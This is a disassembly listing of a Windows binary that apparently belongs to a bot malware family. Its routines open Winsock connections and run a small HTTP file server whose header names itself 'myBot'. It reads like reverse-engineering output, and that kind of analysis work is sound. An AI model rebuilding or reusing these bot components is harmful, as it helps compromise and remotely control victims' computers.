		dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h
		dd 0FFA564E8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 6A24h
		dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h
		dd 4CB9ECh, 74FFF883h, 0FF565696h, 4CB71035h, 50B5FF00h
		dd 0E8FFFFFFh, 0FFFFB6C2h, 0E8685059h, 8D004346h, 0FFF94085h
		dd 0E85053FFh, 0D008h, 8D1CC483h, 0FFF94085h, 50006AFFh
		dd 0C657E8h, 8D505900h,	0FFF94085h, 75FF50FFh, 2415FF08h
		dd 83004CBAh, 840FFFF8h, 0FFFFFF43h, 0E71805FFh, 38E9004Ch
		dd 57FFFFFFh, 0BA6C15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFC335E8h
		dd 6A59FFh, 0C56E890h
		db 2Dh,	2
word_40F3AA	dw 8B55h		; DATA XREF: sub_40BD91+22Ao
		dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h,	0A9h, 0BD8DF08Bh
		dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h
		dd 16850F6h, 89000001h,	5D89D85Dh, 0E85D89E0h, 0FDD4B589h
		dd 0B589FFFFh, 0FFFFFBC4h, 4DE0E890h, 5356716Ah, 1FE8026Ah
		dd 90716A48h, 71DC358Bh, 4D8D0042h, 51046AD8h, 0FFFFBFh
		dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AE0h,	8B57FB6Ah
		dd 0FF57F87Dh, 0E8458DD6h, 667E6850h, 90578004h, 6A211DE8h
		dd 10A16671h, 83004CB7h, 5000C865h, 0C445C766h,	15FF0002h
		dd 4CB9D4h, 0C6458966h,	6AC4458Dh, 90575010h, 6A4A69E8h
		dd 7DC08571h, 0E9C38B07h, 548h,	90570A6Ah, 6A6969E8h, 0D49D8971h
		dd 8BFFFFFDh, 4272081Dh, 0D8BD8900h, 89FFFFFDh,	416AFC7Dh
		dd 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh, 0C4858DF6h
		dd 56FFFFFBh, 8B505656h, 5040FC45h, 6A23DBE8h, 0F8839071h
		dd 0F6840FFFh, 33000004h, 0FC7539FFh, 7C087D89h, 6AF633C5h
		dd 60858D64h, 56FFFFFDh, 0CA96E850h, 646A0000h,	0FF50858Dh
		dd 5056FFFFh, 0CA87E8h,	18C48300h, 0FBC4858Dh, 5750FFFFh
		dd 16E57E8h, 0FC08500h,	4A284h,	0F87D3B00h, 458D7A75h
		dd 0F045C7F0h, 10h, 0C4858D50h,	50FFFFFDh, 0E8F875FFh
		dd 716A916Dh, 0FFF88390h, 479840Fh, 0C9330000h,	0FDD4B539h
		dd 1676FFFFh, 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h
		dd 0FFFFFDD4h, 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h
		dd 890D7340h, 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh
		dd 0FC458903h, 68156A56h, 4349ACh, 0E9D3FF50h, 423h, 60858D56h
		dd 6AFFFFFDh, 90575064h, 6A60FFE8h, 7FC08571h, 0D4958B52h
		dd 33FFFFFDh, 76D63BC9h, 0D8858D3Ah, 39FFFFFDh,	410A7438h
		dd 3B04C083h, 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh
		dd 4508BFFh, 8B108941h,	0FFFDD495h, 4C083FFh, 72CA3B4Ah
		dd 0D48DFFECh, 57FFFFFDh, 248BE890h, 0BCE9716Ah, 8D000003h
		dd 0FFFCC885h, 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh
		dd 4349A4h, 0D6DDE850h,	858D0000h, 0FFFFFF50h, 43499C68h
		dd 39E85000h, 830000D4h, 0C08518C4h, 6A560D75h,	49846816h
		dd 82E90043h, 8D000000h, 0FFFF5085h, 497C68FFh,	0E8500043h
		dd 0D414h, 59C08559h, 6A560A75h, 49646814h, 61EB0043h
		dd 0FF50858Dh, 5C68FFFFh, 50004349h, 0D3F3E8h, 0C0855900h
		dd 560A7559h, 4C680D6Ah, 0EB004349h, 50858D40h,	68FFFFFFh
		dd 434944h, 0D3D2E850h,	85590000h, 0A7559C0h, 68106A56h
		dd 434930h, 858D1FEBh, 0FFFFFF50h, 43492C68h, 0B1E85000h
		dd 590000D3h, 7559C085h, 1E6A560Eh, 43490C68h, 0D9E95700h
		dd 0BF000002h, 434904h,	0FF50858Dh, 5057FFFFh, 0D38BE8h
		dd 0C0855900h, 8D247559h, 0FFFCC885h, 490068FFh, 0E8500043h
		dd 0D374h, 59C08559h, 6A560D75h, 48EC6813h, 9AE90043h
		dd 8D000002h, 0FFFF5085h, 0E85057FFh, 0D354h, 59C08559h
		dd 858D2475h, 0FFFFFCC8h, 4348E868h, 3DE85000h,	590000D3h
		dd 7559C085h, 136A560Dh, 4348D468h, 263E900h, 858D0000h
		dd 0FFFFFF50h, 4348CC68h, 19E85000h, 590000D3h,	7559C085h
		dd 0BE0A6A34h, 4348A0h,	0D8BD8D59h, 0F3FFFFFEh,	858D50A5h
		dd 0FFFFFED8h, 0E8A56650h, 0C264h, 858D5059h, 0FFFFFED8h
		dd 875FF50h, 0F633D3FFh, 21DE9h, 50858D00h, 68FFFFFFh
		dd 434898h, 0D2CEE850h,	85590000h, 2A7559C0h, 80BE056Ah
		dd 59004348h, 0FF38BD8Dh, 0A5F3FFFFh, 8D50A566h, 0FFFF3885h
		dd 0E8A450FFh, 0C218h, 858D5059h, 0FFFFFF38h, 858DB2EBh
		dd 0FFFFFF50h, 43487868h, 8DE85000h, 590000D2h,	0F59C085h
		dd 0B685h, 2C858D00h, 50FFFFFDh, 0FF04858Dh, 8D50FFFFh
		dd 8D50EC45h, 8D50E445h, 8D50DC45h, 8D50D445h, 0FFFD6085h
		dd 485068FFh, 0E8500043h, 0D4E7h, 0FF04858Dh, 0E850FFFFh
		dd 0C951h, 858DF88Bh, 0FFFFFD2Ch, 0C943E850h, 45890000h
		dd 8D326AF4h, 0FFFF0485h, 0E85056FFh, 0C748h, 8D34C483h
		dd 0FFFF0485h, 0F475FFFFh, 48486857h, 0E8500043h, 0CA26h
		dd 858D106Ah, 0FFFFFF04h, 56E85056h, 830000CFh,	45891CC4h
		dd 0EC458DF4h, 0E4458D50h, 0DC458D50h, 0D4458D50h, 0B4458D50h
		dd 43483C68h, 0F3E85000h, 830000C9h, 6A5618C4h,	481C681Dh
		dd 6E90043h, 8D000001h,	0FFFF5085h, 481468FFh, 0E8500043h
		dd 0D1BCh, 59C08559h, 0CC850Fh,	6A560000h, 47E86828h, 75FF0043h
		dd 0FFD3FF08h, 458DF475h, 8E850B4h, 59000001h, 5901F883h
		dd 9E850Fh, 0B5390000h,	0FFFFFBBCh, 8D562375h, 0FFF72085h
		dd 0B8B5FFFFh, 50FFFFFBh, 0FB38858Dh, 0FF50FFFFh, 0FFF920B5h
		dd 9F7FE8FFh, 0C483FFFFh, 14AE814h, 0F8830000h,	93850F01h
		dd 56000000h, 0D068176Ah, 0FF004347h, 0D3FF0875h, 50B4458Dh
		dd 0F720858Dh, 9868FFFFh, 50004347h, 0C949E8h, 0CC48300h
		dd 0FBBCB539h, 2375FFFFh, 20858D56h, 0FFFFFFF7h, 0FFFBB8B5h
		dd 858D50FFh, 0FFFFFB38h, 20B5FF50h, 0E8FFFFF9h, 0FFFF9F21h
		dd 8D14C483h, 0FFF72085h, 0E1E850FFh, 0FF000063h, 4CE4E005h
		dd 2EEB5900h, 68206A56h, 434774h, 858D1FEBh, 0FFFFFF50h
		dd 42CD2068h, 0D5E85000h, 590000D0h, 7559C085h,	1B6A560Dh
		dd 43475868h, 875FF00h,	646AD3FFh, 0FD60858Dh, 5056FFFFh
		dd 0C5D3E8h, 87D8B00h, 470CC483h, 89FC7D3Bh, 8E0F087Dh
		dd 0FFFFFB19h, 0FFFAD9E9h, 58016AFFh, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		nop
		call	near ptr 71AB41DAh
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		push	dword ptr [ebp+8]
		mov	dword_4CE71C, eax
		mov	word ptr [ebp-10h], 2
		call	near ptr 71AB12F8h
		nop
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CE71C
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40FA37
		push	dword_4CE71C
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40FA37:				; CODE XREF: ___:0040FA1Fj
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2670630h
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41BEA2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40FAD3
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40FAB7
		push	edi
		mov	edi, 400h


loc_40FA7F:				; CODE XREF: ___:0040FAB4j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41BAFA
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CE71C
		call	near ptr 71AB1AF4h
		nop
		push	1
		nop
		call	near ptr 26803B2h
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40FA7F
		pop	edi


loc_40FAB7:				; CODE XREF: ___:0040FA77j
		push	esi
		call	sub_41BA3B
		pop	ecx
		push	dword_4CE71C
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		push	1
		pop	eax


loc_40FAD3:				; CODE XREF: ___:0040FA71j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FAD6	proc near		; DATA XREF: sub_401ACD+2229o
					; sub_40BD91+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CB9D4
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CBA54
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40FEC1
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43E91C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CBA00
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		push	7FFFFFFFh
		push	edi
		call	dword_4CB9FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CBA70
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40FBAD:				; CODE XREF: sub_40FAD6+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CB9BC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEBC
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40FBE3:				; CODE XREF: sub_40FAD6+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CB8C0
		test	eax, eax
		jz	loc_40FEA7
		cmp	esi, [ebp+var_C]
		jnz	short loc_40FC65
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CBA68
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEA7
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FC37
		lea	edx, [ebp+var_134]


loc_40FC2B:				; CODE XREF: sub_40FAD6+15Fj
		cmp	[edx], eax
		jz	short loc_40FC37
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40FC2B


loc_40FC37:				; CODE XREF: sub_40FAD6+14Dj
					; sub_40FAD6+157j
		cmp	ecx, ebx
		jnz	short loc_40FC54
		cmp	ebx, 40h
		jnb	short loc_40FC54
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40FC54:				; CODE XREF: sub_40FAD6+163j
					; sub_40FAD6+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40FEA7
		mov	[ebp+var_8], eax
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FC65:				; CODE XREF: sub_40FAD6+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CB9EC
		test	eax, eax
		jg	short loc_40FCF8
		push	esi
		call	dword_4CBA6C
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40FEA7
		lea	eax, [ebp+var_134]


loc_40FCB7:				; CODE XREF: sub_40FAD6+1EBj
		cmp	[eax], esi
		jz	short loc_40FCC8
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FCB7
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FCC8:				; CODE XREF: sub_40FAD6+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FCEC
		lea	eax, [ebp+ecx*4+var_134]


loc_40FCD6:				; CODE XREF: sub_40FAD6+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FCD6


loc_40FCEC:				; CODE XREF: sub_40FAD6+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FCF8:				; CODE XREF: sub_40FAD6+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41B9C0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40FEA7


loc_40FD26:				; CODE XREF: sub_40FAD6+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40FDCB
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FD9F
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41B9C0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40FD9F
		mov	eax, offset asc_42CDC0 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41CAD4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41C890
		add	esp, 10h
		jmp	short loc_40FDB6
; ---------------------------------------------------------------------------


loc_40FD9F:				; CODE XREF: sub_40FAD6+27Fj
					; sub_40FAD6+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_4349EC ; "\r\n"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FDEA


loc_40FDB6:				; CODE XREF: sub_40FAD6+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40FDCB:				; CODE XREF: sub_40FAD6+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41B9C0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40FD26
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FDEA:				; CODE XREF: sub_40FAD6+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FE34
		lea	eax, [ebp+var_134]


loc_40FDF6:				; CODE XREF: sub_40FAD6+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40FE07
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FDF6
		jmp	short loc_40FE37
; ---------------------------------------------------------------------------


loc_40FE07:				; CODE XREF: sub_40FAD6+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FE2B
		lea	eax, [ebp+ecx*4+var_134]


loc_40FE15:				; CODE XREF: sub_40FAD6+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FE15


loc_40FE2B:				; CODE XREF: sub_40FAD6+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40FE37
; ---------------------------------------------------------------------------


loc_40FE34:				; CODE XREF: sub_40FAD6+318j
		mov	esi, [ebp+var_4]


loc_40FE37:				; CODE XREF: sub_40FAD6+32Fj
					; sub_40FAD6+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40FEA0
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41B9C0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41B9C0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40FEA0
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CBA70
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_4100B4
		add	esp, 14h
		jmp	short loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FEA0:				; CODE XREF: sub_40FAD6+369j
					; sub_40FAD6+38Fj
		push	esi
		call	dword_4CBA6C


loc_40FEA7:				; CODE XREF: sub_40FAD6+11Dj
					; sub_40FAD6+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40FBE3
		jmp	loc_40FBAD
; ---------------------------------------------------------------------------


loc_40FEBC:				; CODE XREF: sub_40FAD6+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40FEC1:				; CODE XREF: sub_40FAD6+6Aj
					; sub_40FAD6+92j ...
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4349C4
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40FF07
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409869
		add	esp, 14h


loc_40FF07:				; CODE XREF: sub_40FAD6+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA6C
		push	[ebp+var_254]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
		pop	ebx
sub_40FAD6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FF31	proc near		; DATA XREF: sub_4100B4+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41C266
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40FF97
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40FF9C
; ---------------------------------------------------------------------------


loc_40FF97:				; CODE XREF: sub_40FF31+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40FF9C:				; CODE XREF: sub_40FF31+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2740000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	near ptr 27315F5h
		nop
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_410015
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C266
		add	esp, 24h
		jmp	short loc_410036
; ---------------------------------------------------------------------------


loc_410015:				; CODE XREF: sub_40FF31+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C266
		add	esp, 28h


loc_410036:				; CODE XREF: sub_40FF31+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax


loc_41004C:				; DATA XREF: ___:004385A8o
					; ___:004385BCo
		push	[ebp+var_44C]
		call	dword_4CBA24
		cmp	[ebp+var_A4], edi
		jnz	short loc_410076
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_4109F1
		pop	ecx
		pop	ecx
		jmp	short loc_410093
; ---------------------------------------------------------------------------


loc_410076:				; CODE XREF: sub_40FF31+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41036B
		add	esp, 10h


loc_410093:				; CODE XREF: sub_40FF31+143j
		push	[ebp+var_44C]
		call	dword_4CBA6C
		push	[ebp+var_B4]
		call	sub_40B6D6
		pop	ecx
		push	edi
		call	near ptr 26E0000h
		nop
		pop	edi
		pop	esi
sub_40FF31	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100B4	proc near		; CODE XREF: sub_40FAD6+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41BF70
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_4100EA
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_4100F3
; ---------------------------------------------------------------------------


loc_4100EA:				; CODE XREF: sub_4100B4+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_4100F3:				; CODE XREF: sub_4100B4+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_41018E
		mov	[ebp+arg_8], 2


loc_41011E:				; CODE XREF: sub_4100B4+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_41015E
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_41015E
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_41015E
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_41015E
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_410178
; ---------------------------------------------------------------------------


loc_41015E:				; CODE XREF: sub_4100B4+7Aj
					; sub_4100B4+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_41016E
		push	5Ch
		pop	eax
		jmp	short loc_410171
; ---------------------------------------------------------------------------


loc_41016E:				; CODE XREF: sub_4100B4+B3j
		movsx	eax, al


loc_410171:				; CODE XREF: sub_4100B4+B8j
		mov	[ebp+ebx+var_210], al


loc_410178:				; CODE XREF: sub_4100B4+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41B9C0
		cmp	esi, eax
		pop	ecx
		jb	short loc_41011E


loc_41018E:				; CODE XREF: sub_4100B4+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_429AC8
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_314]
		push	offset asc_42A080 ; "\n"
		push	eax
		call	sub_41CAD4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		nop
		call	near ptr 269010Ah
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_4101DF
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4101E2
		push	[ebp+arg_0]
		jmp	loc_410262
; ---------------------------------------------------------------------------


loc_4101DF:				; CODE XREF: sub_4100B4+11Cj
		mov	[ebp+var_4], esi


loc_4101E2:				; CODE XREF: sub_4100B4+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_4101EF
		mov	[ebp+var_4], esi


